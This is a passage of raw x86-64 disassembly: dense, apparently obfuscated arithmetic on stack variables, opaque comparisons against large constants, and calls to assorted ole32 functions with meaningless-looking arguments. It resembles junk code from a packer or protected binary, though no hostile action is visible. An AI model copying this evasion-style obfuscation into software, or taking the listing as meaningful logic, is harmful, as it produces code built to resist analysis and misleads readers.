movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
or eax, 0x5c
mov byte [rsp + 0x16f], al
mov eax, dword [rsp + 0x3738]
movzx ecx, al
mov eax, dword [rsp + 0x3764]
shr eax, cl
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
add eax, 0x12
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
and eax, 0x58
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
sub eax, 0x10
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov eax, dword [rsp + 0x3790]
mov ecx, dword [rsp + 0x3758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
add eax, 4
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov eax, dword [rsp + 0x3790]
mov ecx, dword [rsp + 0x3758]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
jmp 0x14005745c
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6748], rax
movabs rax, 0xf2c46d4cd8500000
cmp qword [rsp + 0x6748], rax
je 0x1400577f4
movabs rax, 0x1543de173b8dd9af
cmp qword [rsp + 0x6748], rax
je 0x1401fdc51
jmp 0x1401fdc73
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x3794], eax
cmp dword [rsp + 0x3794], 0x984
je 0x140057815
jmp 0x14005791d
lea rax, [rsp + 0x6740]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x16f]
lea r8, [rsp + 0x28d50]
mov edx, 1
lea rcx, [rsp + 0x3748]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0x3798], eax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov dword [rsp + 0x28], 0x25
lea rax, [rsp + 0x6710]
mov qword [rsp + 0x20], rax
mov r9d, 0x2a
lea r8, [rsp + 0x378c]
lea rdx, [rsp + 0x28d60]
lea rcx, [rsp + 0x28d50]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x379c], eax
movzx eax, word [rsp + 0xf60]
add eax, 0xf9a
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
lea rdx, [rsp + 0x29f60]
lea rcx, [rsp + 0x28d70]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x3798], eax
jmp 0x1401fdb74
mov byte [rsp + 0x170], 0x2d
movsx eax, byte [rsp + 0x16f]
or eax, 0x5d
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov eax, dword [rsp + 0x3784]
sub eax, 0x47
mov dword [rsp + 0x3784], eax
movabs rax, 0x6c74f2aab0ad6c0e
mov rcx, qword [rsp + 0x6140]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [0x14024a008]
shr rax, 0x21
mov qword [0x14024a008], rax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x6738]
mov qword [rsp + 0x6750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6750]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
sub eax, 0x6c
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6740]
movzx ecx, byte [rsp + 0x16f]
mov byte [rax], cl
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
add eax, 0xe4
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
sub eax, 0x6b
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movabs rax, 0x8509259b3a3015c7
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
cmp dword [rsp + 0x3784], 0x6c59
ja 0x140057925
mov eax, dword [rsp + 0x3790]
mov dword [rsp + 0x37a0], eax
mov dword [rsp + 0x37a4], 0x49ee
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x37a8], eax
cmp dword [rsp + 0x37a8], 0x304
je 0x140057ac0
jmp 0x140057bd9
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6758], rax
movabs rax, 0x18e9022d748ff8d1
cmp qword [rsp + 0x6758], rax
je 0x140057ae9
jmp 0x140057b87
movabs rax, 0x758326b0988e2f7b
cmp qword [rsp + 0x6140], rax
jl 0x140057b63
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x37ac], eax
cmp dword [rsp + 0x37ac], 0x887
je 0x140057b28
cmp dword [rsp + 0x37ac], 0xec8
je 0x140057b4c
jmp 0x140057b61
movsx eax, byte [rsp + 0x16f]
sub eax, 0x68
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rcx, qword [0x14024a008]
call fcn.1401fe800
nop
jmp 0x140057b61
movzx eax, word [rsp + 0xf60]
xor eax, 0x740
mov word [rsp + 0xf60], ax
jmp 0x140057b85
movzx eax, byte [rsp + 0x170]
cmp eax, 0x70
jl 0x140057b85
movsx eax, byte [rsp + 0x16f]
sar eax, 7
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
jmp 0x140057bbe
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x6760], rax
mov eax, 0x35a1
mov word [rsp + 0xf64], ax
mov dword [rsp + 0x37b0], 0xfa13
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x171], al
mov dword [rsp + 0x37b4], 0xad5f
mov dword [rsp + 0x37b8], 0xb0e3
jmp 0x140057c75
mov dword [rsp + 0x28], 0xd7
lea rax, [rsp + 0x29f60]
mov qword [rsp + 0x20], rax
mov r9d, 0xdb
lea r8, [rsp + 0x28d40]
lea rdx, [rsp + 0x28d50]
lea rcx, [rsp + 0x6768]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x37bc], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x378c], eax
mov eax, dword [rsp + 0x3790]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x6770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6770]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x37a0]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x3790]
mov edx, dword [rsp + 0x3758]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140057d86
lea rdx, [rsp + 0x28e40]
lea rcx, [rsp + 0x28d50]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x378c], eax
movzx eax, byte [rsp + 0x170]
shl eax, 2
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, word [rsp + 0xf64]
cmp eax, 0x6def
je 0x140057d19
lea rcx, [rsp + 0x66e8]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x37bc], eax
jmp 0x140057d3f
movabs rax, 0x7e3321732f79107
cmp qword [rsp + 0x6140], rax
jl 0x140057d3f
mov rax, qword [0x14024a008]
shr rax, 0x2c
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
lea r8, [rsp + 0x6768]
lea rdx, [rsp + 0x6140]
lea rcx, [rsp + 0x170]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x3740], eax
jmp 0x1401fda5e
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov dword [rsp + 0x37c0], eax
cmp dword [rsp + 0x37c0], 0
je 0x140057da3
jmp 0x140057dd2
mov rax, qword [0x14024a008]
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x37a0]
mov dword [rsp + 0x37c4], eax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x6780], rax
jmp 0x140057e43
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6788], rax
movabs rax, 0x4174dc18529446ec
cmp qword [rsp + 0x6788], rax
je 0x140057df8
jmp 0x140057e27
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x6778]
call fcn.1401fe800
nop
jmp 0x140057e43
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0xf60]
mov qword [rsp + 0x6790], rax
mov dword [rsp + 0x37c8], 0xee92
mov dword [rsp + 0x37cc], 0x229d
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x171]
sub ecx, edx
cmp eax, ecx
jg 0x140057fdb
movzx eax, word [rsp + 0xf60]
sub eax, 0x344
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
cmp eax, ecx
jl 0x140057f97
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
and eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movsx eax, word [rsp + 0xf64]
mov dword [rsp + 0x37d0], eax
cmp dword [rsp + 0x37d0], 0x1c0a
je 0x140057f83
cmp dword [rsp + 0x37d0], 0x70ba
je 0x140057f0c
jmp 0x140057f97
lea rcx, [rsp + 0x16f]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x37d4], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x28e40]
lea rdx, [rsp + 0x6790]
lea rcx, [rsp + 0xf60]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x37bc], eax
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
jmp 0x140057f97
mov edx, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x373c]
call fcn.1401fe5a0
nop
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
movabs rax, 0x38d0695c281d28fe
mov rcx, qword [rsp + 0x6140]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
jmp 0x1400580ea
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [rsp + 0x16f]
mov dword [rsp + 0x37d8], ecx
movsx edx, byte [rsp + 0x171]
movzx ecx, dl
mov edx, dword [rsp + 0x37d8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400580b3
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0xf68], ax
mov dword [rsp + 0x37dc], 0x24ba
movzx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x172], al
lea rax, [rsp + 0x170]
mov qword [rsp + 0x6798], rax
mov dword [rsp + 0x37e0], 0x8167
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov word [rsp + 0xf6c], ax
mov dword [rsp + 0x37e4], 0x2c7e
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x67a0], rax
jmp 0x1400580df
lea r9, [rsp + 0x66e8]
lea r8, [rsp + 0x28d80]
lea rdx, [rsp + 0x171]
lea rcx, [rsp + 0x28d70]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0x378c], eax
mov dword [rsp + 0x37e8], 0xca86
mov dword [rsp + 0x37ec], 0x6dad
lea rax, [rsp + 0x6778]
mov qword [rsp + 0x67a8], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x66e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x37a0]
mov edx, dword [rsp + 0x37c4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14005824b
movsx eax, word [rsp + 0xf64]
sub eax, 0x29c8
movsx ecx, word [rsp + 0xf68]
cmp eax, ecx
je 0x14005824b
lea rax, [rsp + 0x37a0]
mov qword [rsp + 0x67b0], rax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf6c]
sub eax, ecx
movzx ecx, word [rsp + 0xc4c]
mov rdx, qword [rsp + 0x6790]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005824b
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov dword [rsp + 0x37f0], eax
cmp dword [rsp + 0x37f0], 0
je 0x1400581be
cmp dword [rsp + 0x37f0], 0x6c2293a4
je 0x14005822f
jmp 0x14005824b
lea rax, [rsp + 0x373c]
mov qword [rsp + 0x67b8], rax
movzx eax, word [rsp + 0xf68]
mov word [rsp + 0xf70], ax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x67c0], rax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
add eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
lea rax, [rsp + 0x171]
mov qword [rsp + 0x67c8], rax
jmp 0x14005824b
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
cmp dword [rsp + 0x37b4], 0x10059
jae 0x140058537
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x66e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x67d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x67d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6778], rax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x170], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov byte [rsp + 0x172], al
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
or eax, ecx
mov word [rsp + 0xf70], ax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x67a0]
movabs rcx, 0x1e2649d060e45fc2
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6140], rax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37b4]
add eax, 0xf7
mov dword [rsp + 0x37b4], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x171], al
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3790]
sar eax, cl
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
jmp 0x14005824b
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
movzx ecx, byte [rsp + 0x170]
mov rdx, qword [rsp + 0x6798]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1400586a9
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
movzx ecx, word [rsp + 0xc4c]
movzx edx, word [rsp + 0xf6c]
add ecx, edx
cmp eax, ecx
jle 0x14005866b
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov byte [rsp + 0x37f4], al
cmp byte [rsp + 0x37f4], 0x2a
je 0x14005861c
cmp byte [rsp + 0x37f4], 0x41
je 0x1400585e0
jmp 0x14005866b
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14024a008], rax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
jmp 0x14005866b
lea rcx, [rsp + 0x28d90]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x37f8], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3764], eax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov qword [rsp + 0x67d8], rax
mov dword [rsp + 0x37fc], 0xfffa
lea rax, [rsp + 0x3758]
mov qword [rsp + 0x67e0], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x67e8], rax
mov dword [rsp + 0x3800], 0x1416
lea rax, [rsp + 0xf64]
mov qword [rsp + 0x67f0], rax
lea rax, [rsp + 0xf6c]
mov qword [rsp + 0x67f8], rax
mov dword [rsp + 0x3804], 0x5f7
mov dword [rsp + 0x3808], 0x2e96
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
shl eax, cl
mov dword [rsp + 0x380c], eax
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xf70]
mov dword [rsp + 0x3810], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x3810]
idiv ecx
mov ecx, dword [rsp + 0x380c]
cmp ecx, eax
jne 0x1400587a0
mov r8d, 1
lea rdx, [rsp + 0x6710]
lea rcx, [rsp + 0x28d40]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x6800], rax
mov rax, qword [rsp + 0x67b8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x6780]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rax]
call fcn.1401fdff0
nop
cmp dword [rsp + 0x37cc], 0x2c66
jae 0x140058cb2
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
or eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x373c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3764], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x173], al
movzx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14024a008]
shr rax, cl
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67e0]
mov ecx, dword [rsp + 0x37c4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x67a0]
mov qword [rsp + 0x6808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6808]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf70], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x173], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x373c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x67b0]
mov ecx, dword [rsp + 0x37a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x67d8], rax
mov eax, dword [rsp + 0x37cc]
add eax, 0xa7
mov dword [rsp + 0x37cc], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
shl eax, cl
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
xor eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
